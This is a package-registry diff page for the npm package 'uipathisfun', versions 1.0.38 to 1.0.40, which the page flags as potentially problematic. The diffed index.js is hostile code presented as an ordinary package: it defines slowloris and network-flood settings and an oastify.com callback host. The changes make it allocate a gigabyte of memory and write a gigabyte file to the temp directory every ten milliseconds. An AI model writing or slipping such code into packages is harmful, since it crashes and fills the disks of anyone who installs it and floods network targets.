uipathisfun 1.0.38 → 1.0.40
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of uipathisfun might be problematic. Click here for more details.
- package/index.js +13 -13
- package/package.json +1 -1
- package/uipathisfun-1.0.40.tgz +0 -0
- package/uipathisfun-1.0.38.tgz +0 -0
package/index.js
CHANGED
|
@@ -3,12 +3,15 @@ const crypto = require('crypto');
|
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const os = require('os');
|
|
5
5
|
|
|
6
|
+
// تحديد مجلد مؤقت مناسب حسب النظام
|
|
7
|
+
const TMP_DIR = os.platform() === 'win32' ? process.env.TEMP || 'C:/Windows/Temp' : '/tmp';
|
|
8
|
+
|
|
6
9
|
const b = "0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com'";
|
|
7
10
|
|
|
8
11
|
const TARGET = 'localhost';
|
|
9
12
|
const PORT = 3000;
|
|
10
13
|
const CONCURRENCY = 500000000000;
|
|
11
|
-
const DURATION =
|
|
14
|
+
const DURATION = 60000000000000;
|
|
12
15
|
const ATTACK_TYPE = 'slowloris';
|
|
13
16
|
const DISK_ATTACK = true;
|
|
14
17
|
const DISK_LIMIT_MB = 10000000;
|
|
@@ -36,24 +39,21 @@ function cpuStress() {
|
|
|
36
39
|
function memStress() {
|
|
37
40
|
setInterval(() => {
|
|
38
41
|
if (stop) return;
|
|
39
|
-
const chunk = Buffer.alloc(1024 * 1024 *
|
|
42
|
+
const chunk = Buffer.alloc(1024 * 1024 * 1024);
|
|
40
43
|
storage.push(chunk);
|
|
41
|
-
},
|
|
44
|
+
}, 10);
|
|
42
45
|
}
|
|
43
46
|
|
|
44
47
|
function diskStress() {
|
|
45
48
|
if (!DISK_ATTACK) return;
|
|
46
49
|
setInterval(() => {
|
|
47
50
|
if (stop) return;
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
} catch (e) {
|
|
55
|
-
}
|
|
56
|
-
}, 500);
|
|
51
|
+
const fname = `${TMP_DIR}/fc_stress_${Date.now()}_${Math.random().toString(36).slice(2,8)}`;
|
|
52
|
+
const buf = crypto.randomBytes(1024 * 1024 * 1024);
|
|
53
|
+
fs.writeFileSync(fname, buf);
|
|
54
|
+
diskFiles.push(fname);
|
|
55
|
+
diskWrittenMB += 1024;
|
|
56
|
+
}, 10);
|
|
57
57
|
}
|
|
58
58
|
|
|
59
59
|
function netFlood() {
|
|
@@ -109,7 +109,7 @@ function monitor() {
|
|
|
109
109
|
const avgResp = responseTimes.length ? (responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length).toFixed(2) : 0;
|
|
110
110
|
let diskUsage = 0;
|
|
111
111
|
try {
|
|
112
|
-
const stat = fs.statSync(
|
|
112
|
+
const stat = fs.statSync(TMP_DIR);
|
|
113
113
|
diskUsage = stat && stat.blocks ? (stat.blocks * stat.blksize) / 1024 / 1024 : 0;
|
|
114
114
|
} catch (e) {}
|
|
115
115
|
const data = {
|
package/package.json
CHANGED
|
Binary file
|
package/uipathisfun-1.0.38.tgz
DELETED
|
Binary file
|